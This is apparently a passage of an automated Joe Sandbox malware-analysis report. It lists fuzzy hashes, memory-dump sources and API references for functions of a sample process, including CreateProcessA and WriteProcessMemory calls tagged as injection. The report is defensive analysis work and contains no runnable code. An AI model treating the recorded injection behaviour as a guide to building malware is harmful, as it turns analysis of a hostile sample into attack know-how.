Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110930df2f8827ebcf0e74457f086e59e4738d5717f8718b61e18f3ec2b1e54d
Instruction ID: e6b62c9179a66bb36e3e9b388b1c3ee4af34b85cb2c6bf5aa214e357d6120027
Opcode Fuzzy Hash: 110930df2f8827ebcf0e74457f086e59e4738d5717f8718b61e18f3ec2b1e54d
Instruction Fuzzy Hash: BB31D539B402418FDF51AB78E88876E3BE5EB84324F14056AD509C73A9E734D842CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02809250 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce7f00996d1a1d8033c5ca2477315b78aab9da9eb6dd3d0f100b03da23ebeca
Instruction ID: 800621d6f7c3d08cb056270dc9f386889d6d4bc8601bcb4018a2d63257f0b3dc
Opcode Fuzzy Hash: cce7f00996d1a1d8033c5ca2477315b78aab9da9eb6dd3d0f100b03da23ebeca
Instruction Fuzzy Hash: F0318039E002069BDB15CFA4D9907DEBBB2EF89704F548529E809EB395EB719842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02809260 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6e27e624d6d420c36ca1801e62ec497fd2182c6523c6c7f3d8ed56e56d74d6
Instruction ID: 4f16f71314bc91cfe66a7e8a1f789dba2d4ac4b68a935cc2e27d21d8b138c8f8
Opcode Fuzzy Hash: eb6e27e624d6d420c36ca1801e62ec497fd2182c6523c6c7f3d8ed56e56d74d6
Instruction Fuzzy Hash: 8F21A538E0020A9BDB05CFA4D99079EF7B2FF89300F54C519E409EB395DB719842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02809150 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c87bdd1b94aa2ac3bdaaf71e583fd485af85e67e6e881e2c8207629a9fce8c
Instruction ID: 97b8d3ac9d8ab45cf70d2630c25d156b528a41fd6204e8d639932c080f4dc06b
Opcode Fuzzy Hash: 64c87bdd1b94aa2ac3bdaaf71e583fd485af85e67e6e881e2c8207629a9fce8c
Instruction Fuzzy Hash: 2A219239F042169FCB19CFA4D9946DEB7B2AF89704F10852AE815FB391DB70AC46CB41

Uniqueness

Uniqueness Score: -1.00%

Function 028016A0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c23ca723fa56c6cf706c7c5d5d3884462f33f9af64fabd99f2c876183ad14e
Instruction ID: e23c20eb8b8df8514f940d12f78b42c2ca744c85ac4b1d5bf685324233cce5ff
Opcode Fuzzy Hash: 63c23ca723fa56c6cf706c7c5d5d3884462f33f9af64fabd99f2c876183ad14e
Instruction Fuzzy Hash: 6721623C6401414FDF66ABA8EDC8B693769EB45318F104969D00EC72FED724E847CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02801382 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb83d4258d68cf3312fe229a3ee1529a5db313aa8b7dafc935665769ee0e02d
Instruction ID: 97719be8000a7d30530306a0fcd4ff5bb4bd21334d8fb65e37634d9d65288dd5
Opcode Fuzzy Hash: 9fb83d4258d68cf3312fe229a3ee1529a5db313aa8b7dafc935665769ee0e02d
Instruction Fuzzy Hash: E7215B38A452414FDFB65668E8DC37D3BA6EB02324F18086DD44EC76E1DB69889AC742

Uniqueness

Uniqueness Score: -1.00%

Function 02804F88 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02ef98bae4615e0ed0ebb532341922dd51ae6e5fa4e938459760728a98744414
Instruction ID: f2fdc488767be43a47c10ac4e1e96c7e260bd2a36d7f274a9b9cc5135926d17b
Opcode Fuzzy Hash: 02ef98bae4615e0ed0ebb532341922dd51ae6e5fa4e938459760728a98744414
Instruction Fuzzy Hash: 18213C38B002458FDB54DB78C998BAD7BF1BF4D308B100868D406EB3A1DB759C45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0267D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3232966101.000000000267D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0267D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_267d000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ea168205ecca937218e75c8766ad2a096b5523ba16824a3864cf4f2c240e070
Instruction ID: 1445136d5e0cac26a30469e9d4a8d196e9587d1f0afdec7db75584c350dcc365
Opcode Fuzzy Hash: 5ea168205ecca937218e75c8766ad2a096b5523ba16824a3864cf4f2c240e070
Instruction Fuzzy Hash: 0821F275604284DFDB14DF24E984B26BF65FF88314F24C96DD90A4B396C33AD447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 02809A28 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363f33c17566c9220b8cbb98b59e6163f536512717812d1b44f63cd02951deb2
Instruction ID: 6040980b1b5364668a2956545e22531da05cea1e81c09bf804d174fcc07919a1
Opcode Fuzzy Hash: 363f33c17566c9220b8cbb98b59e6163f536512717812d1b44f63cd02951deb2
Instruction Fuzzy Hash: 9421A179B101058FEB54DB6ACC94BAE7BF6BF88B14F148069E505EB3E1DB719C008B90

Uniqueness

Uniqueness Score: -1.00%

Function 02809160 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27c275e098286a4a457b40c6d9f942757abc97d63fd1ca840cbb2a9c2755b7d7
Instruction ID: 09441d73c42e16e40724dcd2f8ec6a9e5ce6e4578b6572b6a90609972c48b01b
Opcode Fuzzy Hash: 27c275e098286a4a457b40c6d9f942757abc97d63fd1ca840cbb2a9c2755b7d7
Instruction Fuzzy Hash: 4121A738E0020A9BCB18CFA4DD946DEF7B2AF89700F10852AE815F7391DB70AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02801888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35997cc05975f9a488740acf8997df7f6068f6dad0a227842e60d3451a61e7b
Instruction ID: e6f06919c40699585617358c2256867204a6b4d7e03c42cf2f3165e738ebfef3
Opcode Fuzzy Hash: c35997cc05975f9a488740acf8997df7f6068f6dad0a227842e60d3451a61e7b
Instruction Fuzzy Hash: 31217F38B00205CFDB94EB78C9987AD77F6AB49315F500468D10AEB390DF359D41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028016B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5a21ab75b8867e022c5b8cb81d6d5a18788b34a328d6707564aade7f7fcd033
Instruction ID: 6ddb2ab39040c1bb2f131a4aebbf94b82bb243df38f8d0d67892a501c6938d16
Opcode Fuzzy Hash: d5a21ab75b8867e022c5b8cb81d6d5a18788b34a328d6707564aade7f7fcd033
Instruction Fuzzy Hash: 5621BE3C6501014FDF66ABA8EDC8B693769EB45328F104A25D00EC72FDDB69E8468B91

Uniqueness

Uniqueness Score: -1.00%

Function 0280187A Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2acf81ea89b979b92c05dfd39df926448dde3eb1fa5fda76dc3686301ec7e5
Instruction ID: 26ff944a1b62a509d9cf83dfe4f58681552f52a929265687309d683e630ae834
Opcode Fuzzy Hash: ad2acf81ea89b979b92c05dfd39df926448dde3eb1fa5fda76dc3686301ec7e5
Instruction Fuzzy Hash: 4D214C38B00245CFDB94EB78C9987AD77F2AF88315F540469D10AEB3A0DB368D41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02804F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c935bb796a73fd05d35d7f7e003a0f432a3108e40ccfdc40ec25082ddea0a2d0
Instruction ID: 189e12e17712eee1cb5af384cc546cf923464d5720b6f01111f9fd6b198c8711
Opcode Fuzzy Hash: c935bb796a73fd05d35d7f7e003a0f432a3108e40ccfdc40ec25082ddea0a2d0
Instruction Fuzzy Hash: 81211938B40205CFDB54EB78D998BAD77F1BF49704B100868E406EB3A0DB759D45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02800838 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bd61c7f465510db652da0babd3e2dd72990bbfb570658d97f98bbcc0accd692
Instruction ID: 0d43b36c556d26ded66324f5bbf07b5b694bbcf461f950cfeac268e6d712c4a4
Opcode Fuzzy Hash: 0bd61c7f465510db652da0babd3e2dd72990bbfb570658d97f98bbcc0accd692
Instruction Fuzzy Hash: 6911043CB042444FEFA156B8ACD47B93765FB82319F14487AD44ACB2C1DB28C8468BC5

Uniqueness

Uniqueness Score: -1.00%

Function 02800848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39cf61f1d78061f2a5be90a7cb4bceaf073e14ca9a2930bf0742e93b09a3cf9e
Instruction ID: d50f3e1c09f2408061780de1d2cdc9525f09caea80b639d5e1d1a2ca1b231e72
Opcode Fuzzy Hash: 39cf61f1d78061f2a5be90a7cb4bceaf073e14ca9a2930bf0742e93b09a3cf9e
Instruction Fuzzy Hash: 2911823CB002088FEF9466B9DD8477A3355FB82319F104879D50ACB3D5DB25D8468BD5

Uniqueness

Uniqueness Score: -1.00%

Function 0267D006 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3232966101.000000000267D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0267D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_267d000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a280a4fd0e67636db21dbf0599cb9f2e7f05ab045fb7704d9116f6f7eaabf6fb
Instruction ID: f04aa9a304ee00677ed5eebb550e59f0af810d96ef68a230a77dee3cf413fa1c
Opcode Fuzzy Hash: a280a4fd0e67636db21dbf0599cb9f2e7f05ab045fb7704d9116f6f7eaabf6fb
Instruction Fuzzy Hash: 242181755093C08FDB12CF24D994715BF71EF46214F28C5DAD8898F6A7C33A981ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02801487 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efc7a636dcded70e02006d463827a49b34fe695392a21f001e39fd46e4cf0f4e
Instruction ID: 1281eebbf652da17658291afde8979df803ef8affec6c3967ab3c442295db259
Opcode Fuzzy Hash: efc7a636dcded70e02006d463827a49b34fe695392a21f001e39fd46e4cf0f4e
Instruction Fuzzy Hash: 54115839B012558FCB62AF78989429E7BF2AF84314F150479C449E7281D731C842CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02801498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7634e21e33604254393877ccc5fedbedf9b7d55ebb04256fc3575a37242f22e
Instruction ID: 8d4efdc265a83a61633d64fcd03bb2d5a42275ab71e1bcd890befa8ff69942c7
Opcode Fuzzy Hash: d7634e21e33604254393877ccc5fedbedf9b7d55ebb04256fc3575a37242f22e
Instruction Fuzzy Hash: 4101213DA012159FCBA1EFB8889429DB7E6EB48320B154479D809EB380E735C8418B95

Uniqueness

Uniqueness Score: -1.00%

Function 02801524 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d267c6fccac551344988ef06b43a24e72d1cbbfe2a720480261c50702c72c282
Instruction ID: 4ac2ba74c8a455e539f314b86335a803141476503dddf9e19dfe49c287784ecc
Opcode Fuzzy Hash: d267c6fccac551344988ef06b43a24e72d1cbbfe2a720480261c50702c72c282
Instruction Fuzzy Hash: 17F0F63FA04150CFD7628BA88CD42ACBBA1EE9933571940D7C80EDF691D725D442CB51

Uniqueness

Uniqueness Score: -1.00%

Function 028080F1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe7718f0d3742273e9e92ed55ca0c8d10c85327e8325601a2ddc6fcd8478976
Instruction ID: b256cc03dfc1bb6bcc6767f30d0cdcc72ad98421617cfff6927a327eef2e2651
Opcode Fuzzy Hash: efe7718f0d3742273e9e92ed55ca0c8d10c85327e8325601a2ddc6fcd8478976
Instruction Fuzzy Hash: 7B0162345141859FCB1AEBA4FA9099D7B79EF41304F0046A8C4015B2B9DF356A17D781

Uniqueness

Uniqueness Score: -1.00%

Function 02807090 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f5cdc676da7cbff0157f77d2296137344c1387accda56cc2c759448c66189f
Instruction ID: 6f0e8087165c1dac13a81fc74dd0644a8fcf1d4d40da993ac16ab3bc48eeaa37
Opcode Fuzzy Hash: 51f5cdc676da7cbff0157f77d2296137344c1387accda56cc2c759448c66189f
Instruction Fuzzy Hash: 88F0C439B402088FC714DB74D6A8BAC77F2EF88715F2144A9E5069B3A4DB35AD02CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02808100 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b843bffad231e6c835bf43127c17098c62b00b3bfb0e80a6b5d28b58297742bc
Instruction ID: 6528ccace9756a67c5f416436aeb86702e8898e82c2720e74e3d4583d83d1062
Opcode Fuzzy Hash: b843bffad231e6c835bf43127c17098c62b00b3bfb0e80a6b5d28b58297742bc
Instruction Fuzzy Hash: 0BF0CD34940149AFCF19EFA4FA5099D7BB9EF40304F504678C405972A8EB356A1A9B91

Uniqueness

Uniqueness Score: -1.00%

Function 02806C03 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3233381056.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2800000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fea1d43e42189c136875ba0eac20b41cdd1940f6d014ff9cd4bfd99c0fb5f9d7
Instruction ID: b14b140851bc5c5800fdeb01619b26824798fa2063d316dcdc8e1e27f7c2a2f6
Opcode Fuzzy Hash: fea1d43e42189c136875ba0eac20b41cdd1940f6d014ff9cd4bfd99c0fb5f9d7
Instruction Fuzzy Hash: 06E068367881E0CFC7019B3CA8D409ABFB9DFC622530C01DFD089C7282C6228855CBC0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: VKkzqGUhsZwwm.exePID: 7260, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	365
Total number of Limit Nodes:	20

Executed Functions

Function 06B84CC4 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06B84F06

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9854ff102dfe6f6134945ae62dab3901d51eedd0f296fed51a3491fc8504e338
Instruction ID: 24be0f8e217ae21d0fa3823b0e9c426c8491685c98fdcd6ebf50a420f0856ae9
Opcode Fuzzy Hash: 9854ff102dfe6f6134945ae62dab3901d51eedd0f296fed51a3491fc8504e338
Instruction Fuzzy Hash: 3B914BB1D0021A8FEB64DFA8C8417DDBAF2FF48314F1485A9E808A7294DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06B84CD0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06B84F06

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5c64b285ac14a7bdef1e0ba8fa78cbe5705c749d4cc6a66b2182aa711eb7fafb
Instruction ID: 0af95b92089b674baa5809718f9891734976de36c092a66e9d7a5447be5b4ba9
Opcode Fuzzy Hash: 5c64b285ac14a7bdef1e0ba8fa78cbe5705c749d4cc6a66b2182aa711eb7fafb
Instruction Fuzzy Hash: 2C913AB1D0061A8FEB64DF68C84179EBBF2FF48314F1485A9E808A7294DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0251AE70 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0251B0C6

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 88a72bc04ecf8b903edc778a4fe657518783dc8fb1ada72c9d5fd7cfed884cec
Instruction ID: 4b4b1e8143c789ab8abc15c955f8fa30f33007863c8157230a05cd7b685f6cf5
Opcode Fuzzy Hash: 88a72bc04ecf8b903edc778a4fe657518783dc8fb1ada72c9d5fd7cfed884cec
Instruction Fuzzy Hash: F67168B1A01B059FEB25DF29D14075ABBF1FF88304F008A2DE48AD7A50DB34E945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04BC1CE4 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BC1E02

Memory Dump Source

Source File: 0000000A.00000002.2045734838.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bc0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4f311e9c29cefc956bffea0b538bc3f6c4d26c23595acee53354848fd7b7165b
Instruction ID: 98f419c23348b0ff6ba7ad403a2657aab972d7a3ce82879f8a107401e5257940
Opcode Fuzzy Hash: 4f311e9c29cefc956bffea0b538bc3f6c4d26c23595acee53354848fd7b7165b
Instruction Fuzzy Hash: B551D0B1D00309EFDB14CF99C984ADEBBB6FF48314F24856AE418AB211D775A885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04BC0AA8 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BC1E02

Memory Dump Source

Source File: 0000000A.00000002.2045734838.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bc0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3b547d0c92a89588266ef891829c014777dc14d0f4e247de0b40404d2b057a4b
Instruction ID: 3b54fa5db6dab748b1c0ac3d8146d8fd98ff82e9ede505aab25c5a65ce72645d
Opcode Fuzzy Hash: 3b547d0c92a89588266ef891829c014777dc14d0f4e247de0b40404d2b057a4b
Instruction Fuzzy Hash: FA51B0B1D00209EFDB14CF99C984ADEBBB5FF48314F64856AE818AB215D774A885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04BC0BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04BC4381

Memory Dump Source

Source File: 0000000A.00000002.2045734838.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bc0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: a904cd16b20708bba434afb7640bdf1a3553532f2ace6619a4c7930b8c4fc733
Instruction ID: 8bc9a39f11364bcd7e1a35744b57f601dd3b6cbeee0d3628a16b1846d6b7f643
Opcode Fuzzy Hash: a904cd16b20708bba434afb7640bdf1a3553532f2ace6619a4c7930b8c4fc733
Instruction Fuzzy Hash: 0F411AB59003059FDB14DF99C888AAEBBF5FF88314F14C59DE519A7321D374A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0251590C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025159C9

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8075f4944d7b1826f2ca81147a03ba37f353dd79f8b5d0013f9366bd1f91e343
Instruction ID: bcef6c3d441dbaecf30997854a95bd647f75ba71c4929e74369a9ec0fb95b6d2
Opcode Fuzzy Hash: 8075f4944d7b1826f2ca81147a03ba37f353dd79f8b5d0013f9366bd1f91e343
Instruction Fuzzy Hash: 4F41F3B0D00619CBEB24DFAAC9847CDBBF5FF48305F60806AD419AB254DB75694ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 02514248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025159C9

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a1cd44156c88fe23df4854501e5b0d597f0051caedcff0e9f1c052e27d9666e6
Instruction ID: 9494b6cdcb659564bdca95844bece9924eccf134f23cd130fcaf7d67392e6063
Opcode Fuzzy Hash: a1cd44156c88fe23df4854501e5b0d597f0051caedcff0e9f1c052e27d9666e6
Instruction Fuzzy Hash: E641D2B0C00619CBEB24DFAAC884B9DBBF5FF49305F60806AD408AB255DB756945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B84A40 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06B84AD8

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2f945b35d3f25655142d5ef5e74c2a2f9b8dca701b60623f1fdbfe64e02b67c9
Instruction ID: f73e0157c32fd6e6bb286e0d1b69fd73817186aa5d1624bc58070ea0557ad8b8
Opcode Fuzzy Hash: 2f945b35d3f25655142d5ef5e74c2a2f9b8dca701b60623f1fdbfe64e02b67c9
Instruction Fuzzy Hash: 2D2127B59003199FDB10DFAAC985BEEBBF5FF48310F10842AE919A7250D7789944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06B84A48 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06B84AD8

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
